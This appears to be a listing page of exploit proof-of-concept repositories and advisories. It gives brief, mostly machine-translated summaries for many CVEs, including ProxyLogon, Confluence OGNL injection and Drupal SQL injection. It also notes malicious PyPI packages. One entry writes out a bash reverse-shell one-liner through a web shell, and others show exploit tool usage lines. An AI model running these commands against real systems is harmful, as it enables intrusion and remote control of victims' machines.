CVE-2020-10239

HK द्वारा बनाया गया CVE-2020-10239: comfields SQL फ़ील्ड में गलत पहुँच नियंत्रण - RCE PoC प्रभावित संस्करण: Joomla कोर 3.7.0 से 3.9.15 तक उपयोगकर्ता आवश्यकता: प्रबंधक खाता बैक-एंड में न्यूनतम स्तर पहुँच प्राप्त करें: आपको प्रबंधक से सुपरएडमिन में बदलें, फिर RCE ट्रिगर करें। Joomla में रिमोट कोड...

CVE-2025-55182

React2Shell: CVE-2025-55182 वॉकथ्रू लेखक: Kavienan J कमजोरी खोजकर्ता: lachlan2k, जिन्होंने इसे React टीम को जिम्मेदारीपूर्वक सूचित किया। इस कमजोरी पर अपडेट के लिए, देखें: react2shell.com विषय सूची 1. परिचय 2. पृष्ठभूमि 3. ReactFlightReplyServer.js को समझना 4. पहला पेलोड तैयार करना 5. नकली चंक 6...

poc-cve-2018-1273

CVE-2018-1273 Spring Data Commons، الإصدارات التي تسبق 1.13 إلى 1.13.10، و2.0 إلى 2.0.5، بالإضافة إلى الإصدارات القديمة غير المدعومة، تحتوي على ثغرة في ربط الخصائص ناتجة عن التعقيم غير السليم للعناصر الخاصة. يمكن لمستخدم ضار عن بُعد غير موثَّق أو مهاجم تقديم معاملات طلب مُصمَّمة خصيصًا ضد موارد...

CVE-2025-15467

CVE-2025-15467 OpenSSL CMS AuthEnvelopedData पार्सिंग में स्टैक बफर ओवरफ्लो। भेद्यता CMS AuthEnvelopedData सामग्री में AEAD सिफर पैरामीटर जैसे, AES-GCM को पार्स करते समय evpciphergetasn1aeadparams में एक स्टैक बफर ओवरफ्लो मौजूद है। एक अत्यधिक बड़ा IV 16-बाइट स्टैक बफर को ओवरफ्लो करता है, जिससे से...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

माइक्रोसॉफ्ट आउटलुक रिमोट कोड एक्ज़ीक्यूशन भेद्यता पीओसी यह स्क्रिप्ट CVE-2024-21413 के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC प्रस्तुत करता है, जो माइक्रोसॉफ्ट आउटलुक में पहचानी गई 9.8 के CVSS स्कोर वाली एक गंभीर सुरक्षा खामी है। MonikerLink एक्सप्लॉइट नामक इस भेद्यता के कई गंभीर परिणाम हैं, जैसे स्थानीय...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — RCE सिमुलेशन लैब यह लैब CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE भेद्यता का अनुकरण करने के लिए डिज़ाइन की गई है। ProFTPD के modcopy मॉड्यूल के माध्यम से Web Shell Injection RCE सीखने के लिए उपयोग की जाती है। विशेषताएँ असुरक्षित ProFTPD 1.3.5 modcopy पूर्ण रू...

CVE-2020-17531

CVE-2020-17530 O Apache Struts2 é um framework web para desenvolvimento de aplicações web Java EE. Em 08 de dezembro de 2020, o Apache Struts divulgou a vulnerabilidade de execução remota de código S2-061 CVE-2020-17530, que pode apresentar vulnerabilidade de injeção de expressão OGNL ao usar...

CVE-2026-1555

CVE-2026-1555 WebStack = 1.2024 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड 👤 लेखक: Nxploited 🔗 Nxploited ZeroDay Hub — t.me/KNxploited 💀 CVE-2026-1555 — WebStack WordPress मनमाना फ़ाइल अपलोड imgupload AJAX हैंडलर के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन 📌 भेद्यता अवलोकन फ़ील्ड| विवरण ---|-...

CVE-2021-45232-RCE

Apache APISIX Dashboard RCE usage: -h -u URL -p PORT -c CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url e.g: http://127.0.0.1:9000 -p PORT, --port PORT apisix management port default: 9080 -c CMD, --cmd CMD command default: ifconfig संदर्भ...

cve-2026-9082-drupal-postgresql-rce

CVE-2026-9082 Drupal PostgreSQL SQLi से RCE यह रिपॉजिटरी Ambionics लेख में वर्णित Drupal JSON:API PostgreSQL SQL इंजेक्शन के लिए एक स्थानीय लैब और एक छोटा एक्सप्लॉइट शामिल करता है। एक्सप्लॉइट का महत्वपूर्ण हिस्सा PostgreSQL एस्केलेशन है: एक बार इंजेक्शन PostgreSQL सुपरयूज़र के रूप में SELECT...

Malicious code in media-manager5 (PyPI)

Source: kam193 28307627b9e2beadd142ce8e492f406f6ea13bad1ce2cf989b74e81954595e11 The package installs a persistent job that allows the attacker for exfiltrating files and executing remote code on the victim's machine. --- Category: MALICIOUS - The campaign has clearly malicious intent, like...

Malicious code in agentaix (PyPI)

Source: kam193 fd321806b962224268527ea2f73221d5f6014beeca857682854fb5a5e85e5fb1 The package installs a persistent job that allows the attacker for exfiltrating files and executing remote code on the victim's machine. --- Category: MALICIOUS - The campaign has clearly malicious intent, like...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Execução Remota de Código Limitada Não Autenticada Descrição: Os plugins Time Clock e Time Clock Pro para WordPress são vulneráveis a Execução Remota de Código nas versões até, e incluindo, 1.2.2 para Time Clock e 1.1.4 para Time Clock P...

ProxyLogon

ProxyLogon Python3 के लिए ProxyLogonCVE-2021-26855+CVE-2021-27065 Exchange Server RCESSRF-GetWebShell usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: target's address. --mail: exists user's mail...

CVE-2026-42945

NGINX Rift Prova de conceito de RCE para CVE-2026-42945 , um estouro crítico de buffer heap no módulo ngxhttprewritemodule do NGINX introduzido em 2008. O bug permite execução remota de código não autenticada em servidores que usam as diretivas rewrite e set. Esta vulnerabilidade — juntamente com...

CVE-2021-26084

CVE-2021-26084 Confluence OGNL इंजेक्शन CVE-2021-26084, Atlassian Confluence Webwork कार्यान्वयन में एक Object-Graph Navigation Language OGNL इंजेक्शन भेद्यता है। कोई अप्रमाणित, दूरस्थ हमलावर, Confluence Server या Data Center इंस्टेंस पर भेद्य एंडपॉइंट्स को विशेष रूप से तैयार किया गया अनुरोध भेजक...

CVE-2022-26133

CVE-2022-26133 Informação Descrição SharedSecretClusterAuthenticator no Atlassian Bitbucket Data Center versões 5.14.0 e posteriores anteriores a 7.6.14, 7.7.0 e posteriores anteriores a 7.17.6, 7.18.0 e posteriores anteriores a 7.18.4, 7.19.0 e posteriores anteriores a 7.19.4, e 7.20.0 permite q...

CVE-2020-29607

CVE-2020-29607-Exploit एक्सप्लॉइट शीर्षक: Pluck CMS 4.7.13 - फ़ाइल अपलोड रिमोट कोड निष्पादन प्रमाणित CVE विवरण: Pluck CMS 4.7.13 से पहले के संस्करणों में फ़ाइल अपलोड प्रतिबंध बायपास भेद्यता एक व्यवस्थापक विशेषाधिकार प्राप्त उपयोगकर्ता को 'फ़ाइल प्रबंधन' कार्यक्षमता के माध्यम से होस्ट तक पहुँच...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip senha:...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF फ़ॉन्ट तालिका हीप भ्रष्टाचार Microsoft Office के wwlib में एक कमजोरी है जो हमलावरों को एक दुर्भावनापूर्ण RTF दस्तावेज़ खोलने वाले पीड़ित के विशेषाधिकारों के साथ रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है। हमलावर इस फ़ाइल को ईमेल अनुलग्नक या अन्य माध्यमों क...